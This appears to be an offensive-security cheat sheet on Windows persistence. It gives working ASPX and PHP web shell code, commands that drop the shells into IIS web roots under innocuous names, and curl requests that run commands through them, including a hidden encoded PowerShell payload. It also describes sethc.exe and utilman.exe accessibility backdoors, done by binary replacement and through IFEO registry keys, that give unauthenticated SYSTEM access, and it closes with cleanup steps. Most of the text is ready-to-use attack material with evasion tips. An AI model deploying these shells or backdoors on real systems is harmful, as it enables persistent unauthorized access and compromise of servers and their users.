Skip to content
HackIndex logo

HackIndex

Windows Web Shell Persistence

3 min read Jul 14, 2026

Web shell persistence gives you re-entry through the web application layer rather than the OS. A single file dropped into the web root survives reboots, user password changes, and most host-based persistence cleanup operations. It runs in the context of the web server process — typically IIS application pool identity or NETWORK SERVICE — so escalation is usually needed for full system access.

ASPX web shells

ASPX shells are the standard for IIS targets. They execute in the .NET runtime and support command execution, file upload, and interactive operation.

<%@@ Page Language="C#" %>
<%@@ Import Namespace="System.Diagnostics" %>
<%@@ Import Namespace="System.IO" %>
<% 
    string cmd = Request.Form["cmd"];
    if (!string.IsNullOrEmpty(cmd)) {
        ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        psi.CreateNoWindow = true;
        Process p = Process.Start(psi);
        string output = p.StandardOutput.ReadToEnd();
        p.WaitForExit();
        Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
    }
%>
<form method="POST">
    <input type="text" name="cmd" size="80" />
    <input type="submit" value="Run" />
</form>
PS C:\Users\Guest\Desktop> # Default IIS web root
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\shell.aspx C:\inetpub\wwwroot\shell.aspx
 
PS C:\Users\Guest\Desktop> # Common alternative web roots
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\shell.aspx C:\inetpub\wwwroot\App_Themes\shell.aspx
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\shell.aspx "C:\inetpub\wwwroot\upload\shell.aspx"
 
PS C:\Users\Guest\Desktop> # Verify web server can reach it
PS C:\Users\Guest\Desktop> curl http://127.0.0.1/shell.aspx

Name the file something that blends with the application — admin.aspx, error.aspx, or a name matching existing files in the directory. Avoid obvious names like shell.aspx or cmd.aspx.

PHP web shells

Use PHP shells when the target runs Apache, nginx, or IIS with PHP enabled — common on older Windows servers hosting PHP applications.

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = $_REQUEST['cmd'];
    $output = shell_exec($cmd);
    echo "<pre>" . htmlspecialchars($output) . "</pre>";
}
?>
┌──(kali㉿kali)-[~]
└─$ # GET request
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.aspx?cmd=whoami"
 
┌──(kali㉿kali)-[~]
└─$ # POST request (for form-based shells)
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP/shell.aspx -d "cmd=whoami"
 
┌──(kali㉿kali)-[~]
└─$ # URL encode complex commands
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP/shell.aspx --data-urlencode "cmd=whoami /all"
 
┌──(kali㉿kali)-[~]
└─$ # Upgrade to reverse shell via web shell
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP/shell.aspx -d "cmd=powershell+-nop+-w+hidden+-e+$ENCODED_PAYLOAD"

Accessibility feature backdoors

Windows accessibility features run before login from the lock screen. Replacing or wrapping them with a command prompt gives you unauthenticated SYSTEM access from the RDP login screen. This technique requires SYSTEM to modify the binary or its registry entry.

PS C:\Users\Guest\Desktop> # Requires SYSTEM or TrustedInstaller-level access
PS C:\Users\Guest\Desktop> # Take ownership of sethc.exe first
PS C:\Users\Guest\Desktop> takeown /f C:\Windows\System32\sethc.exe
PS C:\Users\Guest\Desktop> icacls C:\Windows\System32\sethc.exe /grant Administrators:F
 
PS C:\Users\Guest\Desktop> # Replace sethc.exe with cmd.exe
PS C:\Users\Guest\Desktop> copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /y
 
PS C:\Users\Guest\Desktop> # Trigger: on RDP login screen, press Shift 5 times
PS C:\Users\Guest\Desktop> # Result: cmd.exe opens as SYSTEM without authentication
 
PS C:\Users\Guest\Desktop> # Cleaner alternative — registry debugger key (no file replacement)
PS C:\Users\Guest\Desktop> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
PS C:\Users\Guest\Desktop> # Utilman runs on Win+U from the login screen
PS C:\Users\Guest\Desktop> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
 
PS C:\Users\Guest\Desktop> # Trigger: on RDP login screen press Win+U or click Accessibility icon
PS C:\Users\Guest\Desktop> # Result: cmd.exe opens as SYSTEM

The registry Image File Execution Options (IFEO) debugger method is preferable to replacing the binary because it does not modify system files on disk. The Debugger value causes Windows to launch your specified binary instead of the target binary, which means the backdoor survives binary hash checks.

Cleaning up

PS C:\Users\Guest\Desktop> # Remove web shell
PS C:\Users\Guest\Desktop> del C:\inetpub\wwwroot\shell.aspx
 
PS C:\Users\Guest\Desktop> # Remove IFEO debugger keys
PS C:\Users\Guest\Desktop> reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
PS C:\Users\Guest\Desktop> reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f
 
PS C:\Users\Guest\Desktop> # Restore sethc.exe if replaced
PS C:\Users\Guest\Desktop> copy C:\Windows\System32\sethc.exe.bak C:\Windows\System32\sethc.exe /y